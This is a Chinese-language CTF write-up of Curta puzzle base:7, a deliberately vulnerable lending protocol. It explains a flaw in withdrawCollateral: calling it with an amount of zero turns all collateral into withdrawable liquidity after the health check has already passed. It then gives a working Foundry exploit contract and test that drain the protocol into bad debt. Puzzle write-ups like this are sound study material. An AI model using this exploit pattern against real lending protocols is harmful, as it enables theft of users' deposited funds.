# 题目 https://www.curta.wtf/puzzle/base:7 这道CTF是一套借贷协议,需要从一个借贷协议里攻击获得全部的抵押物。 # 分析 借贷协议的攻击一般是操控价格,然后快速引起坏债进行攻击,从而盗取抵押物。我们先借着这个思路去看这条题,报价合约如下。我们可以看到Price写死的价格,并不是从池子读,或者从预言机读。这里可能唯一的问题价格设置上。 ```solidity contract Oracle is OwnableUpgradeable { ... function setPrice(address asset, uint256 price) external onlyOwner { prices[asset] = price; } function getPrice(address asset) external view returns (uint256) { return prices[asset]; } ... } ``` 而在价格设置上,`createChallenge`的时候我们可以看到价格也是没有问题,LTV,LDV这些参数设计也没有问题。的代码如下: ```solidity= function createChallenge(uint256 seed, address player) external onlyOwner returns (address) { ... Oracle(oracleClone).setPrice(usdClone, 1e18); Oracle(oracleClone).setPrice(wethClone, 3000e18); Oracle(oracleClone).setPrice(rebasingWETHClone, 3100e18); CurtaLending(curtaLendingClone).setAsset(usdClone, true, 500, 0.8 ether, 0.9 ether, 0.05 ether); CurtaLending(curtaLendingClone).setAsset(wethClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether); CurtaLending(curtaLendingClone).setAsset(rebasingWETHClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether); ... } ``` 仔细review代码,会发现问题是出现在了`withdrawCollateral`的特殊处理上。 ```solidity! function withdrawCollateral(address asset, uint256 amount) external { accrueInterest(msg.sender, asset); UserInfo storage _userInfo = userInfo[msg.sender][asset]; AssetInfo storage _assetInfo = assetInfo[asset]; uint256 collateralValue = (_userInfo.collateralAmount - amount) * oracle.getPrice(asset); uint256 borrowValue = _userInfo.totalDebt * oracle.getPrice(_userInfo.borrowAsset); require(collateralValue * _assetInfo.borrowLTV >= borrowValue * 1e18); if (amount == 0) { _userInfo.liquidityAmount += _userInfo.collateralAmount; _assetInfo.totalLiquidity += _userInfo.collateralAmount; _assetInfo.avaliableLiquidity += _userInfo.collateralAmount; _userInfo.collateralAmount = 0; } else { require(_userInfo.collateralAmount >= amount); _userInfo.liquidityAmount += amount; _userInfo.collateralAmount -= amount; _assetInfo.totalLiquidity += amount; _assetInfo.avaliableLiquidity += amount; } } ``` 问题的关键处在`amount == 0`时,这里希望特殊处理为全部collecteral转化为liquidity。**但这里有明显的问题:这个函数是先检查LTV的健康情况,再做状态修改;可是如果当输入amount为0的时候,全部抵押物都会转化成可提取的流动性,可以直接全部把流动性提取走,从而造成协议坏账。** # POC攻击 所以攻击的手段也是非常简单:存钱,借钱,`withdrawCollateral(assert,0)`,然后`withdrawLiquidity`。btw,最后要注意一下要换个合约地址攻击,因为用户坏账形成了,就不能再用了。 测试代码如下: ```solidity= // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import {stdStorage, StdStorage, Test, console2} from "forge-std/Test.sol"; import {FailedLendingMarket} from "../src/puzzls/FailedLendingMarket.sol"; import {Challenge} from "../src/puzzls/Challenge.sol"; import {CurtaToken} from "../src/puzzls/CurtaToken.sol"; import {CurtaRebasingToken} from "../src/puzzls/CurtaRebasingToken.sol"; import {CurtaLending} from "../src/puzzls/CurtaLending.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract AttackApprove { function claimTo(address token, address from, address to, uint256 amount) external { IERC20(token).transferFrom(from, to ,amount); } } contract Attacker { constructor( address curtaLending, address attackApprove, address tokenA, address tokenB, uint256 amount0, uint256 amount1 ) { AttackApprove(attackApprove).claimTo(tokenA, msg.sender, address(this), amount0); IERC20(tokenA).approve(curtaLending, amount0); CurtaLending(curtaLending).depositCollateral(tokenA, amount0); CurtaLending(curtaLending).borrow(tokenA, tokenB, amount1); CurtaLending(curtaLending).withdrawCollateral(tokenA, 0); CurtaLending(curtaLending).withdrawLiquidity(tokenA, amount0); IERC20(tokenA).transfer(msg.sender, IERC20(tokenA).balanceOf(address(this))); IERC20(tokenB).transfer(msg.sender, IERC20(tokenB).balanceOf(address(this))); } } contract FailedLendingMarketTesting is Test { address challenge; address failedLendingMarket = 0xc0894A610f48dc195FEbb409b55497b670D448d0; CurtaToken public curtaUSD; CurtaToken public curtaWETH; CurtaRebasingToken public curtaRebasingETH; CurtaLending public curtaLending; AttackApprove public attackApprove; function setUp() public { // vm.createSelectFork("https://base-rpc.publicnode.com"); failedLendingMarket = address(new FailedLendingMarket()); challenge = FailedLendingMarket(failedLendingMarket).deploy(); curtaUSD = Challenge(challenge).curtaUSD(); curtaWETH = Challenge(challenge).curtaWETH(); curtaRebasingETH = Challenge(challenge).curtaRebasingETH(); curtaLending = Challenge(challenge).curtaLending(); attackApprove = new AttackApprove(); } function test0() public { require(curtaUSD.balanceOf(address(this)) == 10000 ether, "balance not equal"); require(curtaWETH.balanceOf(address(this)) == 10000 ether, "balance not equal"); curtaUSD.approve(address(attackApprove), 30000 ether); curtaWETH.approve(address(attackApprove), 30000 ether); curtaRebasingETH.approve(address(attackApprove), 30000 ether); Attacker _attackTry = new Attacker( address(curtaLending), address(attackApprove), address(curtaWETH), address(curtaUSD), 10000 ether, 10000 ether ); require(curtaUSD.balanceOf(address(this)) == 20000 ether); require(curtaWETH.balanceOf(address(this)) == 10000 ether); _attackTry = new Attacker( address(curtaLending), address(attackApprove), address(curtaWETH), address(curtaRebasingETH), 10000 ether, 5000 ether ); _attackTry = new Attacker( address(curtaLending), address(attackApprove), address(curtaWETH), address(curtaRebasingETH), 10000 ether, 5000 ether ); IERC20(curtaWETH).approve(address(curtaRebasingETH), 10000 ether); curtaRebasingETH.deposit(10000 ether); require(curtaRebasingETH.balanceOf(address(this)) == 20000 ether); _attackTry = new Attacker( address(curtaLending), address(attackApprove), address(curtaRebasingETH), address(curtaWETH), 20000 ether, 10000 ether ); curtaRebasingETH.withdraw(20000 ether); require(curtaWETH.balanceOf(address(this)) == 30000 ether); address seed = address(uint160(Challenge(challenge).seed())); IERC20(curtaWETH).transfer(seed, 30000 ether); IERC20(curtaUSD).transfer(seed, 20000 ether); require(Challenge(challenge).isSolved()); } } ```